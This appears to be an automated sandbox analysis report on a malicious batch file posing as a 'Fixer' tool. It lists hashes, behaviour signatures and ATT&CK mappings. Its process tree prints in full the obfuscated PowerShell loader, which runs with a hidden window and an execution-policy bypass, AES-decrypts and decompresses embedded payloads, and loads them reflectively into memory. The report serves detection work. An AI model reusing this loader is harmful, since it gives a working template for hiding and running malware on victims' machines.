6f034eb0b11a9b60901ee3a5f1329ab44bec65519b178ee16d39b40ccad6d2f8

Analysis

max time kernel
2581s
max time network
2283s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
12-11-2024 06:31

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General

Target

NLHybrid Fixer NEW.bat
Size

291KB
MD5

1fea40d9d1f41390edb7d9e52c4b33bf
SHA1

e125f47d3575a28b507855c0c9a57b030a45d9a3
SHA256

6f034eb0b11a9b60901ee3a5f1329ab44bec65519b178ee16d39b40ccad6d2f8
SHA512

084d39f3f6edff152d35edec85a2795bef66cc30a98cfb89ba4b12bfec3ccaf1f3b97cf968245a41b76a0ff5bc0bf4f242b9937dbf3a6addaad41005cac0ce39
SSDEEP

6144:0IA1KNGYo86ChkxOZyt7dTEe4dFVBOovjL+/MDYwbwGpxsB:0IAZYx6CnZyBhKdFOorJhl+

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1212	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1212	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1212	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2584 wrote to memory of 1212	2584	cmd.exe	31
PID 2584 wrote to memory of 1212	2584	cmd.exe	31
PID 2584 wrote to memory of 1212	2584	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer NEW.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/MG2yzBsbBxe5ojiX7EsFzCMNzEMTu/JvAdNvRWbX7w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RdyxlHFLWFg7quo490rAog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $EZwTl=New-Object System.IO.MemoryStream(,$param_var); $GfwYq=New-Object System.IO.MemoryStream; $womrn=New-Object System.IO.Compression.GZipStream($EZwTl, [IO.Compression.CompressionMode]::Decompress); $womrn.CopyTo($GfwYq); $womrn.Dispose(); $EZwTl.Dispose(); $GfwYq.Dispose(); $GfwYq.ToArray();}function execute_function($param_var,$param2_var){ $vyNht=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $HvyAI=$vyNht.EntryPoint; $HvyAI.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer NEW.bat';$ugiUZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer NEW.bat').Split([Environment]::NewLine);foreach ($jBnrL in $ugiUZ) { if ($jBnrL.StartsWith(':: ')) { $PDvIC=$jBnrL.Substring(3); break; }}$payloads_var=[string[]]$PDvIC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1212-12-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/1212-11-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/1212-10-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/1212-9-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/1212-8-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/1212-7-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/1212-6-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/1212-5-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/1212-4-0x000007FEF602E000-0x000007FEF602F000-memory.dmp

Filesize
4KB

Download